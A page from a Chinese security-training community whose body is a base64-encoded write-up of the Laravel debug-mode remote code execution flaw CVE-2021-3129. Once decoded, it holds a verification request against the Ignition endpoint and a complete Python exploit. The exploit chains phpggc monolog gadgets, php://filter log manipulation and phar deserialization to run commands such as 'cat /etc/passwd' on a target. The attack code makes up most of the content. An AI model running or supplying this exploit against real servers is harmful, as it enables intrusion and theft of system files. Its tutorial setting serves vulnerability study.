Laravel 漏洞复现- Track 知识社区 - 掌控安全在线教育

W1RPQ10KCiMjIDB4MDEJTGFyYXZlbCBEZWJ1ZyBtb2RlIFJDRe+8iENWRS0yMDIxLTMxMjnvvIkKCnN0ZXAxOumqjOivgSAgCummluWFiOaehOmAoOWmguS4i3Bvc3TljIXvvJogIAoKYGBgClBPU1QgL19pZ25pdGlvbi9leGVjdXRlLXNvbHV0aW9uIEhUVFAvMS4xCkhvc3Q6IDE5Mi4xNjguMC43Njo4ODg4CkNvbnRlbnQtVHlwZTogYXBwbGljYXRpb24vanNvbgpDb250ZW50LUxlbmd0aDogMTY4Cgp7CiAgInNvbHV0aW9uIjogIkZhY2FkZVxcSWduaXRpb25cXFNvbHV0aW9uc1xcTWFrZVZpZXdWYXJpYWJsZU9wdGlvbmFsU29sdXRpb24iLAogICJwYXJhbWV0ZXJzIjogewogICAgInZhcmlhYmxlTmFtZSI6ICJ1c2VybmFtZSIsCiAgICAidmlld0ZpbGUiOiAieHh4eHh4eCIKICB9Cn0KYGBgCgrlpoLmnpzpobXpnaLlh7rnjrDkuIvliJfplJnor68KCiFbXShodHRwczovL25jMC5jZG4uemthcS5jbi9tZC82NTA4LzRkNzVjYTIxYTViZDcwZGJhMGE1NjNhMTZjNDA3ZjI2XzEyMjQ2LnBuZykK6K+05piO5ryP5rSe5a2Y5ZyoCgpzdGVwMjrliKnnlKggIArpppblhYjnoa7lrprmnKzlnLAgKioqcGhw546v5aKD6auY5LqONS42KioqICAK5omn6KGMYGdpdCBjbG9uZSBodHRwczovL2dpdGh1Yi5jb20vYW1iaW9uaWNzL3BocGdnYy5naXRgCuehruWumiDmnKzlnLDnmoQg5piv5L2/55SoJ3B5dGhvbicg6L+Y5pivICdweXRob24zJyDov5vlhaXmnKzlnLDnjq/looPvvIzlnKjmlofku7blpLnlhoXmlrDlu7pgZXhwLnB5YCzlhoXlrrnlpoLkuIvvvJoKCmBgYAojIS91c3IvYmluL3B5dGhvbjMKCmltcG9ydCByZXF1ZXN0cyBhcyByZXEKaW1wb3J0IG9zLCB1dWlkCgojIOazqOaEj++8jOi/memHjOeahGBweXRob25g5qC55o2u5pys5Zyw5oOF5Ya177yM5q+U5aaC5o2i5oiQYHB5dGhvbjNgCmNsYXNzIEV4cDoKICAgIF9fZ2FkZ2V0X2NoYWlucyA9IHsKICAgICAgICAibW9ub2xvZ19yY2UxIjogciIiIiBwaHAgLWQgJ3BoYXIucmVhZG9ubHk9MCcgcGhwZ2djL3BocGdnYyBtb25vbG9nL3JjZTEgc3lzdGVtICVzIC0tcGhhciBwaGFyIC1vIHBocDovL291dHB1dCB8IGJhc2U2NCAtdzAgfCBweXRob24gLWMgImltcG9ydCBzeXM7cHJpbnQoJycuam9pbihbJz0nICsgaGV4KG9yZChpKSlbMjpdLnpmaWxsKDIpICsgJz0wMCcgZm9yIGkgaW4gc3lzLnN0ZGluLnJlYWQoKV0pLnVwcGVyKCkpIiA+IHBheWxvYWQudHh0IiIiLAogICAgICAgICJtb25vbG9nX3JjZTIiOiByIiIiIHBocCAtZCAncGhhci5yZWFkb25seT0wJyBwaHBnZ2MvcGhwZ2djIG1vbm9sb2cvcmNlMiBzeXN0ZW0gJXMgLS1waGFyIHBoYXIgLW8gcGhwOi8vb3V0cHV0IHwgYmFzZTY0IC13MCB8IHB5dGhvbiAtYyAiaW1wb3J0IHN5cztwcmludCgnJy5qb2luKFsnPScgKyBoZXgob3JkKGkpKVsyOl0uemZpbGwoMikgKyAnPTAwJyBmb3IgaSBpbiBzeXMuc3RkaW4ucmVhZCgpXSkudXBwZXIoKSkiID4gcGF5bG9hZC50eHQiIiIsCiAgICAgICAgIm1vbm9sb2dfcmNlMyI6IHIiIiIgcGhwIC1kICdwaGFyLnJlYWRvbmx5PTAnIHBocGdnYy9waHBnZ2MgbW9ub2xvZy9yY2UzIHN5c3RlbSAlcyAtLXBoYXIgcGhhciAtbyBwaHA6Ly9vdXRwdXQgfCBiYXNlNjQgLXcwIHwgcHl0aG9uIC1jICJpbXBvcnQgc3lzO3ByaW50KCcnLmpvaW4oWyc9JyArIGhleChvcmQoaSkpWzI6XS56ZmlsbCgyKSArICc9MDAnIGZvciBpIGluIHN5cy5zdGRpbi5yZWFkKCldKS51cHBlcigpKSIgPiBwYXlsb2FkLnR4dCIiIiwKICAgIH0gICMgcGhwZ2dj6ZO+6ZuG5ZCI77yM5pqC5pe25re75YqgcmNlMeWQjue7reWGjea3u+WKoOWFtuS7luWinuW8uumAmuadgOiDveWKmwoKICAgIF9fZGVsaW1pdGVyX2xlbiA9IDggICMg5a6a55WM56ym6ZW/5bqmCgogICAgZGVmIF9fdnVsX2NoZWNrKHNlbGYpOgogICAgICAgIHJlc3AgPSByZXEuZ2V0KHNlbGYuX191cmwsIHZlcmlmeT1GYWxzZSkKICAgICAgICBpZiByZXNwLnN0YXR1c19jb2RlICE9IDQwNSBhbmQgImxhcmF2ZWwiIG5vdCBpbiByZXNwLnRleHQ6CiAgICAgICAgICAgIHJldHVybiBGYWxzZQogICAgICAgIHJldHVybiBUcnVlCgogICAgZGVmIF9fcGF5bG9hZF9zZW5kKHNlbGYsIHBheWxvYWQpOgogICAgICAgIGhlYWRlciA9IHsKICAgICAgICAgICAgIkFjY2VwdCI6ICJhcHBsaWNhdGlvbi9qc29uIgogICAgICAgIH0KICAgICAgICBkYXRhID0gewogICAgICAgICAgICAic29sdXRpb24iOiAiRmFjYWRlXFxJZ25pdGlvblxcU29sdXRpb25zXFxNYWtlVmlld1ZhcmlhYmxlT3B0aW9uYWxTb2x1dGlvbiIsCiAgICAgICAgICAgICJwYXJhbWV0ZXJzIjogewogICAgICAgICAgICAgICAgInZhcmlhYmxlTmFtZSI6ICJjdmUyMDIxMzEyOSIsCiAgICAgICAgICAgICAgICAidmlld0ZpbGUiOiAiIgogICAgICAgICAgICB9CiAgICAgICAgfQogICAgICAgIGRhdGFbInBhcmFtZXRlcnMiXVsidmlld0ZpbGUiXSA9IHBheWxvYWQKICAgICAgICByZXNwID0gcmVxLnBvc3Qoc2VsZi5fX3VybCwgaGVhZGVycz1oZWFkZXIsIGpzb249ZGF0YSwgdmVyaWZ5PUZhbHNlKQogICAgICAgICMgcHJpbnQocmVzcC50ZXh0KQogICAgICAgIHJldHVybiByZXNwCgogICAgZGVmIF9fY29tbWFuZF9oYW5kbGVyKHNlbGYsIGNvbW1hbmQpOgogICAgICAgICIiIgogICAgICAgIOWboOS4uueUqOaIt+WRveS7pOimgeazqOWFpeWIsHBheWxvYWTnlJ/miJDnmoTlkb3ku6TkuK3vvIzkuLrkuobpmLLmraLlvbHlk43nu5PmnoTvvIzmiYDku6Xov5vooYzkuIDkupvlpITnkIbjgIIKICAgICAgICAiIiIKCiAgICAgICAgc2VsZi5fX2RlbGltaXRlciA9IHN0cih1dWlkLnV1aWQxKCkpWzpzZWxmLl9fZGVsaW1pdGVyX2xlbl0gICMg5a6a55WM56ym55So5LqO5a6a5L2N6aG16Z2i5Lit5ZG95Luk5omn6KGM57uT5p6c55qE5L2N572u44CCCiAgICAgICAgIyBwcmludChkZWxpbWl0ZXIpCiAgICAgICAgY29tbWFuZCA9ICJlY2hvICVzICYmICVzICYmIGVjaG8gJXMiICUgKHNlbGYuX19kZWxpbWl0ZXIsIGNvbW1hbmQsIHNlbGYuX19kZWxpbWl0ZXIpCiAgICAgICAgIyBwcmludChjb21tYW5kKQoKICAgICAgICBlc2NhcGVkX2NoYXJzID0gWycgJywgJyYnLCAnfCddICAjIOaIkeWPquaDs+WIsOi/meS5iOWkmu+8jOWPr+iHquihjOa3u+WKoOOAggogICAgICAgIGZvciBjIGluIGVzY2FwZWRfY2hhcnM6CiAgICAgICAgICAgIGNvbW1hbmQgPSBjb21tYW5kLnJlcGxhY2UoYywgJ1xcJyArIGMpCiAgICAgICAgIyBwcmludChjb21tYW5kKQogICAgICAgIHJldHVybiBjb21tYW5kCgogICAgZGVmIF9fY2xlYXJfbG9nKHNlbGYpOgogICAgICAgIHJldHVybiBzZWxmLl9fcGF5bG9hZF9zZW5kKAogICAgICAgICAgICAicGhwOi8vZmlsdGVyL3dyaXRlPWNvbnZlcnQuaWNvbnYudXRmLTgudXRmLTE2bGV8Y29udmVydC5xdW90ZWQtcHJpbnRhYmxlLWVuY29kZXxjb252ZXJ0Lmljb252LnV0Zi0xNmxlLnV0Zi04fGNvbnZlcnQuYmFzZTY0LWRlY29kZS9yZXNvdXJjZT0uLi9zdG9yYWdlL2xvZ3MvbGFyYXZlbC5sb2ciKQoKICAgIGRlZiBfX2dlbl9wYXlsb2FkKHNlbGYsIGdhZGdldF9jaGFpbik6CiAgICAgICAgZ2VuX3NoZWxsID0gc2VsZi5fX2dhZGdldF9jaGFpbnNbZ2FkZ2V0X2NoYWluXSAlIChzZWxmLl9fY29tbWFuZCkKICAgICAgICAjIHByaW50KGdlbl9zaGVsbCkKICAgICAgICBvcy5zeXN0ZW0oZ2VuX3NoZWxsKQogICAgICAgIHdpdGggb3BlbigncGF5bG9hZC50eHQnLCAncicpIGFzIGY6CiAgICAgICAgICAgIHBheWxvYWQgPSBmLnJlYWQoKS5yZXBsYWNlKCdcbicsICcnKSArICdhJyAgIyDmt7vliqDkuIDkuKrlrZfnrKbkvb/lvpfkuKTkuKrlrozmlbTnmoRwYXlsb2Fk5oC75piv5Y+q5pyJ5LiA5Liq5Y+v5Lul5q2j5bi46Kej56CBCiAgICAgICAgb3Muc3lzdGVtKCJybSBwYXlsb2FkLnR4dCIpCiAgICAgICAgIyBwcmludChwYXlsb2FkKQogICAgICAgIHJldHVybiBwYXlsb2FkCgogICAgZGVmIF9fZGVjb2RlX2xvZyhzZWxmKToKICAgICAgICByZXR1cm4gc2VsZi5fX3BheWxvYWRfc2VuZCgKICAgICAgICAgICAgInBocDovL2ZpbHRlci93cml0ZT1jb252ZXJ0LnF1b3RlZC1wcmludGFibGUtZGVjb2RlfGNvbnZlcnQuaWNvbnYudXRmLTE2bGUudXRmLTh8Y29udmVydC5iYXNlNjQtZGVjb2RlL3Jlc291cmNlPS4uL3N0b3JhZ2UvbG9ncy9sYXJhdmVsLmxvZyIpCgogICAgZGVmIF9fdW5zZXJpYWxpemVfbG9nKHNlbGYpOgogICAgICAgIHJldHVybiBzZWxmLl9fcGF5bG9hZF9zZW5kKCJwaGFyOi8vLi4vc3RvcmFnZS9sb2dzL2xhcmF2ZWwubG9nL3Rlc3QudHh0IikKCiAgICBkZWYgX19yY2Uoc2VsZik6CiAgICAgICAgdGV4dCA9IHNlbGYuX191bnNlcmlhbGl6ZV9sb2coKS50ZXh0CiAgICAgICAgIyBwcmludCh0ZXh0KQoKICAgICAgICBlY2hvX2ZpbmQgPSB0ZXh0LmZpbmQoc2VsZi5fX2RlbGltaXRlcikKICAgICAgICAjIHByaW50KGVjaG9fZmluZCkKICAgICAgICBpZiBlY2hvX2ZpbmQgPj0gMDoKICAgICAgICAgICAgcmV0dXJuIHRleHRbZWNob19maW5kICsgc2VsZi5fX2RlbGltaXRlcl9sZW4gKyAxOiB0ZXh0LmZpbmQoc2VsZi5fX2RlbGltaXRlciwgZWNob19maW5kICsgMSldCiAgICAgICAgZWxzZToKICAgICAgICAgICAgcmV0dXJuICJbLV0gUkNFIGVjaG8gaXMgbm90IGZvdW5kLiIKCiAgICBkZWYgZXhwKHNlbGYpOgogICAgICAgIGZvciBnYWRnZXRfY2hhaW4gaW4gc2VsZi5fX2dhZGdldF9jaGFpbnMua2V5cygpOgogICAgICAgICAgICBwcmludCgiWypdIFRyeSB0byB1c2UgJXMgZm9yIGV4cGxvaXRhdGlvbi4iICUgKGdhZGdldF9jaGFpbikpCiAgICAgICAgICAgIHNlbGYuX19jbGVhcl9sb2coKQogICAgICAgICAgICBzZWxmLl9fY2xlYXJfbG9nKCkKICAgICAgICAgICAgc2VsZi5fX3BheWxvYWRfc2VuZCgnYScgKiAyKQogICAgICAgICAgICBzZWxmLl9fcGF5bG9hZF9zZW5kKHNlbGYuX19nZW5fcGF5bG9hZChnYWRnZXRfY2hhaW4pKQogICAgICAgICAgICBzZWxmLl9fZGVjb2RlX2xvZygpCiAgICAgICAgICAgIHByaW50KCJbKl0gUmVzdWx0OiIpCiAgICAgICAgICAgIHByaW50KHNlbGYuX19yY2UoKSkKCiAgICBkZWYgX19pbml0X18oc2VsZiwgdGFyZ2V0LCBjb21tYW5kKToKICAgICAgICBzZWxmLnRhcmdldCA9IHRhcmdldAogICAgICAgIHNlbGYuX191cmwgPSByZXEuY29tcGF0LnVybGpvaW4odGFyZ2V0LCAiX2lnbml0aW9uL2V4ZWN1dGUtc29sdXRpb24iKQogICAgICAgIHNlbGYuX19jb21tYW5kID0gc2VsZi5fX2NvbW1hbmRfaGFuZGxlcihjb21tYW5kKQogICAgICAgIGlmIG5vdCBzZWxmLl9fdnVsX2NoZWNrKCk6CiAgICAgICAgICAgIHByaW50KCJbLV0gWyVzXSBpcyBzZWVtcyBub3QgdnVsbmVyYWJsZS4iICUgKHNlbGYudGFyZ2V0KSkKICAgICAgICAgICAgcHJpbnQoIlsqXSBZb3UgY2FuIGFsc28gY2FsbCBvYmouZXhwKCkgdG8gZm9yY2UgYW4gYXR0YWNrLiIpCiAgICAgICAgZWxzZToKICAgICAgICAgICAgc2VsZi5leHAoKQoKCmRlZiBtYWluKCk6CiAgICBFeHAoIui/memHjOaYr+ebruagh+WcsOWdgCIsICJjYXQgL2V0Yy9wYXNzd2QiKQoKCmlmIF9fbmFtZV9fID09ICdfX21haW5fXyc6CiAgICBtYWluKCkKYGBgCgrmnIDnu4jnm67lvZXnu5PmnoTlpoLkuIsKCiFbXShodHRwczovL25jMC5jZG4uemthcS5jbi9tZC82NTA4L2Y1OGQ1MmRlYmMyY2MzMzRhZjEzM2NiMDcwMThjZGVlXzEwNjk1LnBuZykKCuacgOe7iOe7k+aenOWmguS4i++8mgoKIVtdKGh0dHBzOi8vbmMwLmNkbi56a2FxLmNuL21kLzY1MDgvMmQ0MDllZTk0ZTk2N2ZjMTAzMTRlMDEwNDBkZmMwMWRfNDQzMDQucG5nKQ==

打赏我,让我更有动力~